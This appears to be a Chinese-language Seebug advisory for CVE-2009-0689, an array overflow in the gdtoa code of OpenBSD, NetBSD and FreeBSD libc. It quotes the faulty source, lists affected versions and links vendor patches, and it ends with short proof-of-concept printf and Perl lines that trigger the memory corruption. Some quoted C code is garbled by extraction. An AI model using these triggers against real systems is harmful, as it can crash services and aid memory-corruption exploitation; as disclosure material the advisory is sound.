Lucene search

K
seebugRootSSV:11711
HistoryJun 30, 2009 - 12:00 a.m.

多个BSD系统gdtoa/misc.c文件内存破坏漏洞

2009-06-3000:00:00
Root
www.seebug.org
48

0.97 High

EPSS

Percentile

99.7%

BUGTRAQ ID: 35510
CVE(CAN) ID: CVE-2009-0689

OpenBSD、NetBSD、FreeBSD都是流行的BSD操作系统,是Unix的衍生系统。

OpenBSD、NetBSD、FreeBSD的dtoa实现中存在数组溢出漏洞。在src/lib/libc/gdtoa/gdtoaimp.h中:

  • —gdtoaimp.h—

    #define Kmax 15
  • —gdtoaimp.h—

最大的Kmax长度为15,如果提供了更大的值(如17),程序就会溢出freelist数组,bss为0x1。

以NetBSD为例:

  • —gdtoaimp.h—

    #define Kmax (sizeof(size_t) << 3)
  • —gdtoaimp.h—

程序在misc.c中崩溃:

  • — src/lib/libc/gdtoa/misc.c —
    if ( (rv = freelist[k]) !=0) {
    freelist[k] = rv->next;
    }
    else {
    x = 1 << k;
    #ifdef Omit_Private_Memory
    rv = (Bigint *)MALLOC(sizeof(Bigint) + (x-1)*sizeof(ULong));
    #else
    len = (sizeof(Bigint) + (x-1)*sizeof(ULong) + sizeof(double) - 1)
    /sizeof(double);
    if ((double )(pmem_next - private_mem + len) <= (double )PRIVATE_mem)
    {
    rv = (Bigint
    )(void )pmem_next;
    pmem_next += len;
    }
    else
    rv = (Bigint
    )MALLOC(len
    sizeof(double));
    #endif
    if (rv == NULL)
    return NULL;
    rv->k = k;
    rv->maxwds = x;
    }
  • — src/lib/libc/gdtoa/misc.c —

这里

rv->k = k;

freelist[k] = rv->next;

FreeBSD FreeBSD 7.2
FreeBSD FreeBSD 6.4
NetBSD NetBSD 5.0
OpenBSD OpenBSD 4.5
厂商补丁:

NetBSD

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h

OpenBSD

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c


                                                printf %1.262159f 1.1
printf %11.2109999999f
printf %11.2009999999f
printf %11.2009999999f

#!/usr/local/bin/perl
printf &quot;%0.4194310f&quot;, 0x0.0x41414141;